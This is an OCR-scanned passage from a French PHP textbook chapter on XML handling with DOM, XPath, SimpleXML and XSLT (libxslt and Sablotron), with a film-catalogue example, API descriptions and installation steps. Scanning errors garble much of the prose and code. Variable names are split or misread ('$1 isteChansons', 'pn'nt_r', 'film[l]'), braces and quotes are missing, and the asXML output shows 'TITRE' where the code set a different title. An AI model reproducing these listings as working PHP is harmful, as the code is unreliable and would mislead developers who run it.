Syntaxe DOMNode cloneNode( [boolean $copieProfondeur] ) 

$copi eProfondeur Indique si le noeud doit etre copie avec ses enfants. (Non par defaut) 

retour Le noeud copie. 

Recuperer des donnees d'un arbre existant 

Recuperer des donnees d'un arbre DOM est bien plus simple que d'utiliser SAX. La fonction 
DOMElement->getElementsByTagName ( ) permet de retourner tous les noeud ayant le nom 
specifie. L'objet retourne est de type DOMNodeList qui est un objet tres simple avec length 
comme attribut qui retourne le nombre d'element et DOMNodeList->item( integer 
$i) comme fonction qui permet de retourner le i-eme element. 
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DOMElement->getElementsByTagName() 



Retourne une liste de noeud dont le nom est la chaine de caracteres passee en parametre a cette 
fonction. 

Syntaxe DOMNodeList getElementsByTagName(String $nom) 

$ n om Nom des noeuds a retourner. 

retour Une liste de noeuds ayant $nom comme nom. 

Afin de recuperer l'attribut d'un element, il existe la fonction DOMElement->getAttribute ( ) 
detaillee ci-dessous. 



DOMElement->getAttribute () 
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Permet de recuperer la valeur d'un attribut. 

Syntaxe: String getAttribute(String $nom) 

$ n om Nom de l'attribut a retourner 

retour Valeur de l'attribut. 

Pour recuperer une valeur on peut aussi utiliser son chemin XPath. 



DOMXPath->query() 

Retourne la liste des noeuds correspondants a l'expression XPath fournie. 

Syntaxe: DOMNodelist query (String $xpath [, DOMNode $noeudRelatif]^ 

$ x p a t h Expression Xpath 

$noeudRel ati f Noeud de reference pour une expression XPath relative, 

retour Liste des noeuds 



© 



XPath 

XPath est tres riche et n 'est pas presente ici, mats si vous ne connaissez pas ces 
INTERNET expressions utiles pour f aire des recherches dans un document, je vous conseille 
vivement de jeter un ceil a: 
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http://xmlfr.org/w3c/TR/xpath/ 

INTERNET pour la documentation de reference traduite en francais. 

http://www.zvon.org/xxl/XPathTutorial/General_fre/examples.html 

pour une aide rapide par I'exemple, ou encore le lien suivant qui met en parallele 

requites SQL et lew equivalent utilisant XPATH. 

http://www.fragbase.com/sql2xpath.php 

II y a bien d'autres fonctions comme presentees dans les tableaux succincts au debut de ce 
chapitre. Et comme un exemple vaut des pages d'explications, en voici un qui montre comment 
manipuler du XML grace a DOM. 

Exemples 

Reprenons I'exemple de la mediatheque du chapitre precedent dont le fichier s'appelait 
mediatheque_01.xml. 

Listing 15.10 : dom_exemple_02.php 

<?php 

$doc = DomDocument: :load("mediatheque_01.xml ") ; 
$listeCD = $doc->getElementsByTagName("cdaudio") ; 
foreach($listeCD as $cdAudio) { 
$interprete = $cdAudio->getAttribute("interprete") ; 
$1 isteChansons = $cdAudio->getElementsByTagName("chanson") ; 
echo "** $interprete\n"; 

for ($i=0; $i<$listeChansons->length; $i++) { 
$chanson = $1 isteChansons->item($i) ; 

$titre = $chanson->getElementsByTagName("titre")->item(0)->nodeValue; 
echo " - $titre\n"; 



?> 

Dont le resultat attendu serait: 

** Noir Desir 

- L'enfant roi 

- Le grand incendie 

- Le vent nous portera 
** Placebo 

- Pure Morning 

- Without You I'm Nothing 

- Every You, Every Me 

Quelques explications de cet exemple: tout d'abord on recupere l'objet DOMDocument 
correspondant au fichier XML stocke sur le disque dur par un appel a la methode statique 
ioad( ) . Ensuite getElementsByTagName ( "cdaudio" ) permet de recuperer l'ensemble des 
balises "cdaudio" puis on boucle sur cette liste. Recuperer le nom de l'interprete revient a 
recuperer la valeur de l'attribut "interprete" de la balise "cdaudio". La liste des chansons du CD 
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est ensuite recuperee et ici j'ai volontairement change la facon d'iterer sur les chansons pour 
utiliser les methodes de DOMNodeList. 

Voici maintenant un court exemple de l'utilisation de XPath: 

Listing 15.11 : dom_exemple_03.php 

<?php 

$doc = DomDocument: :load("mediatheque_01.xml ") ; 
$xpath = new DOMXpath($doc) ; 
$1 i ste = $xpath->query("//titre") ; 
foreach ($1 i ste as $ti tie) { 
echo $title->nodeValue."\n"; 

} 
?> 

Dont le resultat attendu serait: 

L' enfant roi 

Le grand incendie 

Le vent nous portera 

Pure Morning 

Without You I'm Nothing 

Every You, Every Me 

Voila pour l'analyse syntaxique utilisant DOM. Ci-apres est decrit en detail la toute nouvelle 
librairie de PHP5 appelee SimpleXML, elle permet de simplifier l'analyse syntaxique d'un 
document XML. Jetez-y au moins un ceil et vous vous rappellerez pourquoi vous aimez autant 
le PHP. 
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Le parseur SimpleXML 



Si libXML est installe alors le parseur SimpleXML est probablement active, vous pouvez le 
verifier en jetant un ceil aux informations affichees par phpinf o ( ) . 

Figure 15.4 : 

phpinf o () SimpleXML 



SimpleXML 


Simplexml support 


enabled 


Revision 


^Revision; 1.139 $ 


Schema support 


enabled 



SimpleXML est integre a PHP depuis la version 5, cette librairie basee sur libxml a pour objectif 
de simplifier l'analyse syntaxique d'un document XML. II est ainsi possible en quelques lignes 
d'acceder a tout element d'un document XML. 

SimpleXML n'est ni plus ni moins qu'un analyseur DOM simplified 
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Exemples 

Voici tout d'abord quelques exemples pour voir le fonctionnement de cette bibliotheque. Le 
document a analyser sera le suivant pour tous les exemples qui suivent et est representatif de ce 
que Ton pourrait avoir pour une videotheque : 

Listing 15.12 : videotheque.xml 

<?xml version="1.0" standalone="yes" ?> 
<videotheque> 
<fi1m imdb="0378194"> 

<titre>Kill Bill: Vol. 2</titre> 
<real isateur>Quentin Tarantino</realisateur> 
<genres> 
<genre>acti on</genre> 
<genre>drama</genre> 
<genre>thri 1 1 er</genre> 
</genres> 
<acteurs> 
<acteur> 
<nom>Uma Thurman</nom> 
<role>The Bride (Black Mamba)</role> 
</acteur> 
<acteur> 
<nom>David Carradine</nom> 
<role>Bill (Snake Charmer) </role> 
</acteur> 
</acteurs> 
</f i 1 m> 

<film imdb="0070356"> 
<titre>Mais ou est done passee la septieme compagnie ?</titre> 
<real i sateur>Robert Lamoureux</real i sateur> 
<genres> 
<genre>war</genre> 
<genre>acti on</genre> 
<genre>comedy</genre> 
</genres> 
<acteurs> 
<acteur> 
<nom>Jean Lefebvre</nom> 
<rol e>Pi ti vi er</rol e> 
</acteur> 
<acteur> 
<nom>Pierre Mondy</nom> 
<role>Sergent Chaudard</role> 
</acteur> 
</acteurs> 
</film> 
</videotheque> 

Le premier exemple montre comment recuperer un element du document XML, ici le titre du 
premier film, le titre du second film et le nom du deuxieme acteur du second film. Plusieurs 
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facons d'acceder a ses donnees sont presentees, en effet, l'indice du tableau n'est pas 
obligatoire quand on veut acceder au premier element, c'est particulierement utile lorsqu'il n'y 
a qu'un element comme "titre", "realisateur", "genres"... 

Listing 15.13 : parsevideothequej.php 

<?php 

$xml = simplexml_load_file("videotheque.xml ") ; 

echo $xml->film[0]->titre[0]."\n<br />"; 

echo $xml->film->titre."\n<br />"; 

echo $xml->film[l]->titre."\n<br />"; 

echo $xml->film[l]->acteurs[0]->acteur[l]->nom."\n<br />"; 

echo $xml->film[l]->acteurs->acteur[l]->nom. "\n<br />"; 

?> 

En sortie nous avons done: 

Kill Bill: Vol. 2 

Kill Bill: Vol. 2 

Mais ou est done passee la septieme compagnie ? 

Pierre Mondy 

Pierre Mondy 

En fait, pour bien comprendre la structure de l'objet $xml, faisons le afficher: 

Listing 15.14 : parse_videotheque_2.php 

<?php 

$xml = simplexml_load_file("videotheque.xml ") ; 

pn'nt_r($xml) ; 

?> 

Et le resultat: 

SimpleXMLElement Object 

( 
[film] => Array 

( 

[0] => SimpleXMLElement Object 

( 

[titre] => Kill Bill: Vol. 2 
[realisateur] => Quentin Tarantino 
[genres] => SimpleXMLElement Object 

( 
[genre] => Array 

( 
[0] => action 
[1] => drama 
[2] => thriller 

) 
) 
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[acteurs] => SimpleXMLElement Object 

( 
[acteur] => Array 

( 
[0] => SimpleXMLElement Object 

( 

[nom] => lima Thurman 

[role] => The Bride (Black Mamba) 

) 
[1] => SimpleXMLElement Object 

( 

[nom] => David Carradine 
[role] => Bill (Snake Charmer) 
) 
) 
) 
) 
[1] => SimpleXMLElement Object 

( 

[titre] => Mais ou est done passee la septieme compagnie ? 
[realisateur] => Robert Lamoureux 
[genres] => SimpleXMLElement Object 

( 
[genre] => Array 

( 
[0] => war 
[1] => action 
[2] => comedy 
) 
) 
[acteurs] => SimpleXMLElement Object 

( 
[acteur] => Array 

( 
[0] => SimpleXMLElement Object 

( 
[nom] => Jean Lefebvre 
[role] => Pitivier 

) 
[1] => SimpleXMLElement Object 

( 

[nom] => Pierre Mondy 

[role] => Sergent Chaudard 
) 

) 
) 



) 

Ce resultat nous apprend deux choses, d'une part, qu'il est facile d'acceder a n'importe quelle 
entite car la structure n'est ni plus moins qu'un tableau, et d'autre part, on apprend que dans le 
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cas d'un document XML imposant que la place memoire occupee par ce tableau sera immense 
et done simpleXML ne sera pas adapte pour de larges fichiers XML (De meme que DOM). 

Connaissant la structure de l'objet $xml, toute folie est desormais possible, par exemple lister 
les films ou les acteurs d'un film et desormais tres facile, la preuve ci-apres. 

Listing 15.15 : parse_videotheque_3.php 

<?php 

$xml = simplexml_load_file("videotheque.xml ") ; 

foreach ($xml->film as $f i 1m) { 

echo "* ".$film->titre. "\n<br />"; 

foreach ($film->acteurs->acteur as $acteur) { 
echo " - ".$acteur->nom." joue dans le role de ".$acteur->role. "\n<br />"; 

} 
} 
?> 

qui a pour resultat: 

* Kill Bill: Vol. 2 

- Uma Thurman joue dans le role de The Bride (Black Mamba) 

- David Carradine joue dans le role de Bill (Snake Charmer) 

* Mais ou est done passee la septieme compagnie ? 

- Jean Lefebvre joue dans le role de Pitivier 

- Pierre Mondy joue dans le role de Sergent Chaudard 

Simple mais nous n'avons pas vu comment recuperer un attribut. imdb est le numero de film 
sachant que chaque film possede un numero unique attribue par un organisme. On peut vouloir 
recuperer le numero imdb du premier film, ou mieux encore, recuperer le titre du film dont on 
connait le numero. Voici comment il est possible de proceder : 

Listing 15.16 : parse_videotheque_4.php 

<?php 

$xml = simplexml_load_file("videotheque.xml ") ; 

echo "Numero imdb du premier film: " .$xml->film[0] ['imdb'] ."\n<br />"; 
echo "Numero imdb du second film: ".$xml ->film[l] ['imdb'] . "\n<br />"; 
foreach ($xml->film as $film) { 
if ((string)($film[' imdb"]) =="0378194") 
echo "Titre du film ayant 0378194 comme numero: ".$film->titre."\n<br />"; 

} 

?> 

Le resultat obtenu : 

Numero imdb du premier film: 0378194 

Numero imdb du second film: 0070356 

Titre du film ayant 0378194 comme numero: Kill Bill: Vol. 2 

En conclusion, recuperer un attribut n'est pas plus complique. 
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SimpleXML ne manque pas de gene et se permet meme d'utiliser les expressions XPath pour 
faire des recherches dans le document, pour cela il faut faire appel a la fonction xpath ( ) de 
l'objet SimpleXML. 

XPath est un ensemble de commandes de recherche tres complet quoique rebutant au 
premier abord. 



yjk XPath 

%3/ Presenter XPath ici serait trop long mats si vous ne connaissez pas ces expressions 

INTERNET utiles pour faire des recherches dans un document, je vous conseille vivement dejeter 
un ceil a: 

http://xmlfr.org/w3c/TRIxpathl 

pour la documentation de reference traduite en frangais 
http://www.zvon.org/xxl/XPathTutorial/General_fre/examples.html 

pour une aide rapide par I'exemple, ou encore le lien suivant qui met en parallele 
requites SQL et leur equivalent utilis ant XPATH. 
http://www.fragbase.com/sql2xpath.php 

L'exemple que nous avons pris etant simple, il ne va pas etre facile de montrer les capacites de 
Xpath. Recuperer la liste des acteurs se fait tres facilement en ecrivant: 

Listing 15.17 : parse_videotheque_5.php 

<?php 

$xml = simplexml_load_file("videotheque.xml ") ; 
foreach ($xml->xpath('//acteur') as $acteur) { 
echo $acteur->nom."\n<br />"; 



Qui donne: 

Uma Thurman 
David Carradine 
Jean Lefebvre 
Pierre Mondy 

Recuperer le film dont l'imdb est 0378194 se fait facilement egalement: 

Listing 15.18 : parse_videothequ.e_6.php 

<?php 

$xml = simplexml_load_file("videotheque.xml ") ; 

$film = $xml->xpath(7/film[@imdb=0378194] '); 

echo $film[0]->titre; 

?> 
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Qui donne: 

Kill Bill: Vol. 2 



API 

Nous avons vu tres peu de fonctions dans les exemples precedents (deux pour etre exact) mais 
nous pouvons deja faire beaucoup. II est possible d'analyser un fichier XML ou une chaine de 

caracteres XML avec simplexml_load_file( ) et simplexml_load_string( ) 

respectivement. 



simplexml_load_file () 

Transforme le fichier XML en objet facilement manipulable. 

Syntaxe SimpleXMLElement simplexml_load_file(string $nomFichier) 

$nomFichier Nom du fichier a charger. 

retour Objet de type SimpleXMLElement facilement manipulable. 
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simplexml_load_string () 

Transforme la chaine de caracteres XML en objet facilement manipulable. 

Syntaxe SimpleXMLElement simplexml_load_file(string $chaineXML) 

$chai neXML Chaine de caracteres XML a charger. 

retour Objet de type SimpleXMLElement facilement manipulable. 

II est egalement possible de recuperer un objet SimpleXMLElement a partir d'un arbre DOM. 



simplexml_import_dom () 

Retourne un objet SimpleXMLElement a partir d'un arbre DOM. 

Syntaxe SimpleXMLElement simplexml_import_dom(domNode $noeudD0M) 

$noeudD0M Nceud recupere par la methode d'analyse syntaxique DOM. 

retour Objet de type SimpleXMLElement facilement manipulable. 

Comme vu dans les exemples, xpath ( ) est une fonction qui s'applique a un objet de type 
SimpleXMLElement obtenu par une des trois fonctions precedentes. 
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SimpleXMLElement->xpath () 

Retourne un tableau d'objet de type SimpleXMLElement correspondant a la recherche XPath. 

Syntaxe array[SimpleXMLElement] xpath (string $xpath) 

$requete Requete XPath. 

retour Tableau d'objets SimpleXMLElement. 

SimpleXMLElement->children () 

Retourne un objet de type SimpleXMLElement correspondant aux enfants du noeud courant. 

Syntaxe SimpleXMLElement childrenQ 

retour Un objet de type SimpleXMLElement. 

Cette derniere fonction permet de recuperer les "enfants" d'un noeud, void un exemple 
d'utilisation: 

Listing 15.19 : parse_videotheque_7.php 

<?php 

$xml = simplexml_load_file("videotheque.xml ") ; 
foreach ($xml -> children() as $test) { 
echo $test->titre."\n<br />"; 

} 

?> 

Dont le resultat attendu est bien evidement: 

Kill Bill: Vol. 2 

Mais ou est done passee la septieme compagnie ? 

SimpleXMLElement->attributes () 

Retourne un objet de type SimpleXMLElement correspondant aux attributs du noeud courant. 

Syntaxe SimpleXMLElement attributes () 

retour Un objet de type SimpleXMLElement. 

Voici un court exemple d'utilisation: 
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Listing 15.20 : parse videotheque_8.php 

<?php 

$xml = simplexml_load_file("videotheque.xml ") ; 
foreach ($xml->film[0]->attn'butes() as $attribut => $valeur) 
echo $attribut."=".$valeur."\n<br />"; 

} 
?> 

Dont le resultat attendu est: 
imdb=0378194 



Bien entendu, rien n'empeche de modifier les objets simpleXMLElement. Mais une fois 
modifies, on peut vouloir recuperer le contenu de ces objets en format XML pour l'ecrire par 
exemple dans un fichier. Pour cela, il suffira alors d'utiliser la fonction asXML ( ) qui s'applique 

a un objet de type simpleXMLElement. 



SimpleXMLElement->asXML () 
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Retourne une chaine de caracteres XML valide representant l'objet simpleXMLElement. 

Syntaxe string asXMLQ 

retour Une chaine XML 

Listing 15.21 : parse_videotheque_9.php 

<?php 

$xml = simplexml_load_file("videotheque.xml ") ; 

$xml->film[0]->titre = "Kill Bill Volume 2"; 

echo $xml->asXML() ; 

?> 

Et en retour on a le XML modifie (le titre de Kill Bill: Vol. 2 a ete subtilement modifie)" 

<?xml version="1.0" standalone="yes"?> 
<videotheque> 

<film imdb="0378194"> 
<titre>TITRE</titre> 

<realisateur>Quentin Tarantino</real isateur> 
<genres> 
<genre>acti on</genre> 
<genre>drama</genre> 
<genre>thri 1 1 er</genre> 
</genres> 
<acteurs> 
<acteur> 
<nom>Uma Thurman</nom> 
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<role>The Bride (Black Mamba)</role> 
</acteur> 
<acteur> 
<nom>David Carradine</nom> 
<role>Bill (Snake Charmer)</role> 
</acteur> 
</acteurs> 
</film> 

<film imdb="0070356"> 
<titre>Mais ou est done passee la septieme compagnie ?</titre> 
<real i sateur>Robert Lamoureux</real i sateur> 
<genres> 
<genre>war</genre> 
<genre>acti on</genre> 
<genre>comedy</genre> 
</genres> 
<acteurs> 
<acteur> 
<nom>Jean Lefebvre</nom> 
<rol e>Pi ti vi er</rol e> 
</acteur> 
<acteur> 
<nom>Pierre Mondy</nom> 
<role>Sergent Chaudard</role> 
</acteur> 
</acteurs> 
</film> 
</videotheque> 

Et voila pour la bibliotheque simpleXML, en tout et pour tout il y a sept fonctions utiles vous 
permettant de lire/modifier de petits documents XML tres simplement ! 



15.4. XSLT 
Presentation 

La transformation XSL s'appuie sur un fichier decrivant ce que la transformation doit 
retourner lorsque telle ou telle balise est rencontree. Nous supposerons ici que vous etes 
familier avec ce genre de transformation. 



yjk XML, XSL 

%S' Vous trouverez plus (('informations sur XML et la XSL, sur le site : 

INTERNET http://www.xmlfacile.com 

sans oublier la reference (en anglais) : 
http://www.w3.org/Style/XSL/ 
et sa traduction : 
http://www.xmlfr.org/w3c/TR/xslt/ 
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Par la suite, a titre d'exemple, nous utiliserons la feuille de styles suivante : 

Listing 15.22 : mediath.eque_01.xsl 

<?xml version="1.0" encoding="IS0-8859-l" ?> 

<xsl :transform xmlns:xsl="http://www. w3.org/1999/XSL/Transform" version="1.0"> 

<xsl:output method="html " /> 

<xsl :template match="/"> 
<html> 
<body> 

<xsl :apply-templates /> 
</body> 
</html> 
</xsl : tempi ate> 

<xsl :template match="mediatheque"> 

<hl>Contenu de la mediatheque</hl> 

<table border="l"> 

<xsl :apply-templates select="cdaudio" /> 

</table> 
</xsl : tempi ate> 

<xsl :template match="cdaudio"> 

<trxtd colspan="2" bgcolor="#BBBBFF"> 

<bxxsl :value-of select="@interprete" /></b> 
</tdx/tr> 
<trxtd colspan="2" bgcolor="#DDDDFF"> 

<bxixxsl :value-of select="@titre" /x/ix/b> 
</tdx/tr> 

<xsl :apply-templates select="chanson" /> 
</xsl : tempi ate> 

<xsl :template match="chanson"> 
<tr> 

<tdxxsl :apply-templates select="titre" /x/td> 
<tdxxsl :apply-templates select="duree" /></td> 
</tr> 
</xsl : tempi ate> 

<xsl :template match="titre"> 

<xsl :value-of select="text() " /> 
</xsl : tempi ate> 

<xsl :template match="duree"> 

<xsl :value-of select="text() " /> 
</xsl : tempi ate> 

<xsl :template match="*"> 
</xsl : tempi ate> 

</xsl :transform> 
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Les transformations de documents XML 
La bibliotheque XSL 



PHP 4 

Cette bibliotheque a ete introduite dans la version 5 de PHP, elle n 'est done pas 
REMARQUE disponible pour PHP4. Vous devrez done dans ce cas utiliser la bibliotheque XSLT 
decrite plus loin. 



/£) Erreur dejeunesse ? 

"**^ Cette bibliotheque PHP etant recente, elle peut etre amende a evoluer et est done 

marquee comme etant experimental . 



Installation 

Sous Windows 

Que ce soit avec l'archive de PHP Group ou avec EasyPHP, vous devrez vous assurer que vous 
possedez bien un fichier php_xsl.dll dans le repertoire des extensions PHP. II vous suffit alors 
d'ajouter au fichier php.ini ou de decommenter une ligne 

extension=php_xsl .dl 1 

Sous Linux 

II vous faut d'abord recuperer et installer la bibliotheque libxslt disponible a l'adresse 
ftp://xmlsoft.org comme indique sur http://xmlsoft.org/XSLT. en tapant les commandes desormais 
habituelles: 

# tar zxvf 1 ibxslt-1. 1.10. tar. gz 

# ./configure --prefix=/usr/local 

# make 

# make install 



Probleme de compilateur (fails sanity check) 

II se trouve que {'operation configure ne s'est pas deroule correctement dans notre 
environnement. Celui-ci n'acceptant pas apparemment pas notre compilateur. Nous 
ne nous sommes alors pas attardes sur le probleme et nous nous en sommes remis aux 
"packages" de notre Debian. Nous avons done remplace V installation precedente par 

# apt-get install libxsltl-dev 



Une fois libxslt installe, il suffit de recompiler PHP avec l'option de configuration 

" — with-xsl = /usr/ local". 



REMARQUE 
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RENVOI 



Vous pouvez vous reporter au chapitre "Installation" pour plus de details sur la 
compilation de PHP. 



Verification 

Comme vous en avez pris l'habitude, vous pouvez verifier que 1'installation s'est deroulee 
correctement en appelant un script contenant <?php phpinf o ( ) ; ?> qui doit afficher : 



xsl 



XSL 


enabled 


libxslt Version 


1.1.3 


lihxslt compiled against libxml Version 


2,8.11 


EXSLT 


enabled 


liliexslt Version 


1.1.8 



Figure 15.5 : phpinf o() 
Utilisation 

La transformation d'un document XML via XSLT est tres simple. II suffit de charger les 
documents XML et XSL dans des objets DOMDocument, d'instancier un objet 
XSLTProcessor, de charger le document XSL et d'appeler la methode de transformation. 



RENVOI 



Vous pouvez vous reporter au chapitre "Le parseur DOM" pour plus de details sur 
I 'objet DOMDocument. 
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XSLTProcessorO; 

Objet permettant les transformations XSLT 
Syntaxe: XSLTProcessorO 

XSLTProcessor->importStyleSheet() 

Definit la feuille de style a utiliser pour les prochaines transformations XSL. 

Syntaxe: boolean importStyleSheet(DOMDocument $documentXSL) 

$documentXSL Document DOM contenant la feuille de style 

retour FALSE en cas d'echec, NULL sinon 
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XSLTProcessor->transformToXML () 



Retourne, sous forme d'une chaine de caracteres, le resultat de 1'application de la feuille de 
style precedemment selectionnee sur le document XML indique. 

Syntaxe : string transformToXML(DOMDocument $documentXML) 

$documentXML Document DOM contenant le document XML a transformer, 

retour Resultat de la transformation ou FALSE en cas d'erreur. 



XSLTProcessor->transformToDoc () 



Retourne, sous forme d'un DOMDocument, le resultat de 1'application de la feuille de style 
precedemment selectionnee sur le document XML indique. 

Syntaxe: DOMDocument transformToDoc (DOMDocument $documentXML) 

$documentXML Document DOM contenant le document XML a transformer. 

retour Resultat de la transformation sous forme de DOMDocument ou FALSE 

en cas d'erreur. 

Listing 15.23 : xsl_01.php 

<?php 

$cheminAbsolu = dirname( FILE ); 

// Chargement du document XML 

$xmlDoc = new DOMDocument () ; 

$xmlDoc->load("$cheminAbsolu/. ./src_xml/mediatheque_01b.xml ") ; 

$xslDoc = new DOMDocument () ; 

$xslDoc->load("$cheminAbsolu/. ./src_xml/mediatheque_01.xsl ") ; 

// Chargement de la feuille de style 
$xslt = new XSLTProcessor() ; 
$xslt->importStyleSheet($xslDoc) ; 

// Transformation du fichier XML via XSLT 
// et envoi du resultat directement a 1'ecran 
echo $xsl t->transformToXML($xml Doc) ; 
?> 

Le resultat obtenu sera alors : 
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Contenu de la mediatheque 



JNoir Desir 




|dss Visages des Figures 


|L 'enfant roi 


||S:OS| 


|Le grand incendie 


||437| 


|Le vent nous portera 


H:48 


Placebo 




\Wittwut You I'm Nothing 


iPure Morning 


4:15 


jwithout You I'm Nothing |4:30 


Every You, Every Me 


5:00 


Muse 




\Skowbiz 


|Feeling Good 



Figure 15.6 : 

Exemple de 
transformation XSL 



Dans l'ensemble la transformation s'est relativement correctement bien passee. Neanmoins les 
entites externes n'ont pas ete prises en compte (&nc; n'a par exemple pas ete remplace par "Non 
Communique". II est trop tot pour dire s'il s'agit d'un bug ou bien s'il faut attendre que cette 
bibliotheque evolue encore un peu pour repondre totalement a nos besoins. 



La bibliotheque XSLT/Sablotron 



REMARQUE 



PHP 5 

Cette bibliotheque n' est pas disponible avec PHP 5.X. Elle a ete remplacee par la 
bibliotheque XSL s'appuyant sur libxsl t. 
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Installation 



Sous Windows 



Que ce soit avec l'archive de PHP Group ou avec EasyPHP, vous devrez vous assurer que vous 
possedez bien un fichier php_xslt.dll dans le repertoire des extensions PHP. II vous suffit alors 
d'ajouter au fichier php. ini ou de decommenter une ligne 

extension=php xslt.dll 



Sous Linux 

Pour pouvoir utiliser la bibliotheque xslt avec Sablotron, vous devez au prealable recuperer la 
bibliotheque Sablotron. Celle-ci est disponible sur le site http://www.gingerall.com/ ainsi que sur 
le CD-ROM fourni (sous le nom Sablot-l.O.tar.gz). Cette bibliotheque necessite egalement la 
bibliotheque expat. Cette derniere est disponible a l'adresse http://sourceforge.net/projects/expat/ 
ainsi que sur le CD-ROM fourni (sous le nom expat-1.95.6.tar.gz). 
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Installation d'expat 

Copiez le fichier expat- 1. 95. 6.tar.gz sous le repertoire /usr/local/src/lib (par exemple), puis 
saisissez les commandes : 

# gunzip expat-1.95.6.tar.gz 

# tar xvf expat-1.95.6 

Le fichier est a present decompresse. 

# cd expat-1.95.6 

# ./configure 

# make 

# make install 

La bibliotheque expat est maintenant disponible sous /usr/local/lib (fichiers libexpat*). 

Installation de Sablotron 

Avant d'installer Sablotron vous aurez besoin de patcher un des fichiers installes par expat (si 
comme indique vous utilisez la version 1.95.6). Pour cela, allez dans le repertoire /usr/local/ 
include et editez le fichier expat.h. Recherchez le bout de code suivant: 

enum XML_Status { 

XML_STATUS_ERROR = 0, 
Idefine XML_STATUS_ERROR XML_STATUS_ERROR 

XML_STATUS_0K = 1 
#define XML STATUS OK XML STATUS OK 



et deplacez le en debut de fichier (avant le bloc "enum XML_Error {" par exemple) 

Maintenant vous pouvez copier le fichier Sablot-l.O.tar.gz sous le repertoire lusrllocal/srcllib 
(par exemple), puis saisir les commandes : 

# gunzip Sablot-l.O.tar.gz 

# tar xvf Sablot-l.O.tar 

# cd Sablot-1.0 

Le fichier est a present decompresse. 

# cd Sablot-1.0 

# export SABL0T_GPL=1 

# ./configure 

# make 

# make install 



-Jj SABLOT_GPL 

"**^ La commande export sablot_gpl=1 est necessaire si vous souhaitez utiliser la 

REMARQJE fonction xslt_set_encoding ( ). 
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La bibliotheque Sablotron est desormais disponible sous lusr/localllib (fichiers libsab*) ainsi 
que le fichier /usr/local/bin/sabcmd. 

Maintenant que Sablotron est installe, il suffit de l'integrer a PHP, en le recompilant avec 
1'option de configuration " — enable-xslt — with-xslt-sablot". Mais attention! Avec la 
version 3 de gcc, vous risquez d'avoir des petits problemes. Pour y palier, vous devrez lancer la 
commande suivante avant l'appel a la commande . /configure. 

# export LDFLAGS="-lstdc++" 



RENVOI 



Vous pouvez vous reporter au chapitre "Installation" pour plus de details sur la 
compilation de PHP. 



REMARQUE 



Apache 

Le serveur Apache integre sa propre version d'expat qui peut entrer en conflit avec 
celle qui vient d'etre installee. Cependant, depuis la version 1.3.21 d'Apache, il suffit 
de recompiler Apache pour qu'il integre la version d'expat qui vient d'etre installee. 
Si vous disposez d'une version plus ancienne d'Apache pensez a la mettre a jour. 
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Verification 

Comme vous en avez pris l'habitude, vous pouvez verifier que 1'installation s'est deroulee 
correctement en appelant un script contenant <?php phpinf o ( ) ; ?> qui doit afficher : 

Figure 15.7 : 
phpinfoQ 



xslt 


XS LT support 


enabled 


Backend 


Sablotron 


Sablotron Version 


1.0 


Sablotron Information 


Cflags: -g -02 Libs: -LAisr/locaMib -lexpat Prefix: /usr/local 





Utilisation 

La transformation d'un document XML via XSLT se realise en trois etapes 

Creation d'un analyseur XSLT ; 
■ Transformation du document ; 

Liberation des ressources occupees par l'analyseur. 

Ceci se traduit par l'appel aux fonctions : 

xslt_create ( ) ; 
xslt_process ( ) ; 
xslt_f ree ( ) . 
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xslt_create() 



Cree un nouvel analyseur XSLT. 

Syntaxe resource xsl t_create(void) 

retour Reference sur un analyseur XSLT. 



xslt_process() 



Applique une transformation XSL sur un document XML. 

Syntaxe mixed xsl t_process (resource $analyseurXSLT, string $uriXML, 

string $uriXSL [, string $un'Resul tat, [array 
$parametresAnalyseur, [array $parametresXSL]]]) 

$analyseurXSLT Reference sur un analyseur XSLT tel que retourne par la fonction 

xslt_create ( ) . 

$uriXML URI (adresse) du fichier XSL. Ce doit etre soit un chemin relatif au 

serveur (et non pas relatif au script PHP !) soit un chemin absolu precede 
de "file://", "http://", etc. selon la localisation du fichier. 

$uriXSL URI (adresse) du fichier XSL. Ce doit etre soit un chemin relatif au 

serveur (et non pas relatif au script PHP !) soit un chemin absolu precede 
de "file://", "http://", etc. selon la localisation du fichier. 

$uriResultat URI (adresse) ou doit etre ecrit le fichier resultat. Ce doit etre soit un 

chemin relatif au serveur (et non pas relatif au script PHP ! ) soit un chemin 
absolu precede de "file://" selon la localisation du fichier. Si ce parametre 
n'est pas specifie, alors le resultat est donne dans la valeur retour de la 
fonction. 

$parametresXSLT Qui doit contenir un tableau associatif avec pour cles les parametres 
utilises par la feuille XSLT et pour valeurs les valeurs de ces differents 
parametres. 

$parametresAnalyseur Qui doit contenir un tableau presentant les parametres a passer a 
l'analyseur Sablotron. 

retour Chaine de caracteres contenant le resultat de la transformation si aucun 

nom de fichier n'est precise, TRUE si le resultat a ete sauvegarde dans un 
fichier avec succes, FALSE sinon. 
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Les encodages supportes en entree 

Avec la bibliotheque Sablotron, les fichiers XML peuvent etre encodes en "UTF-8", 
"UTF-16", "ASCir, "ISO-8859-1", "ISO-8859-2" et"Windows-1250". Mais cette liste 
est plus importante si la bibliotheque icon-vest disponible dans I'environnement de 
l'analyseur XSL T. 
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xslt_free() 



Libere les ressources occupees par l'analyseur. 

Syntaxe void xslt_free(resource $analyseurXSLT) 

$analyseurXSLT Reference sur un analyseur XSLT tel que retourne par la fonction 

xslt_create ( ) . 

Listing 15.24 : xslt_01.php 

<?php 

// Creation d'un nouvel analyseur XSLT 
$xslt = xslt_create() ; 

// Transformation du fichier XML via XSLT 
// et envoi du resultat directement a l'ecran 

ScheminAbsolu = "file://".dirname( FILE ); 

echo xslt_process($xslt, "ScheminAbsolu/. ./src_xml/mediatheque_01b.xml ", 

"ScheminAbsolu/. ./src_xml/mediatheque_01.xsl ") ; 

// Liberation des ressources 
xslt_free($xslt) ; 
?> 



Le resultat obtenu sera alors : 
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Contenu de la mediatheque 






des Visages des Figures 


L 'enfant roi ||6:G3 


Le grand incendie ||4:37 


Le vent nous portera ||4:48 


| Placebo 


Without You I'm Nothing 


||Pure Morning ||4:15 


Without You I'm Nothing 4:30 


||Every You, Every Me ||5:00 


Radiohead 


OK Computer 


||Karrna Police ||4:23 


,Muse 


Showbiz 


Feeling Good Non communique 







Figure 15.8 : 

Exemple de 
transformation XSL 



Vous constaterez que, dans ce cas, les references externes sont prises en compte 
automatiquement (ce qui n'est pas le cas avec le parseur expat). 
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Le resultat est encode en UTF-8 (ce qui fait que les caracteres accentues pourraient avoir une 
allure etrange selon la configuration de votre navigateur). Si vous souhaitez un resultat en 
ISO-8859-1 (ou autre) vous devez, au prealable, configurer l'analyseur. 

Configuration de l'analyseur 

Par defaut, le document cree est code en UTF-8, mais il est possible de choisir un type 
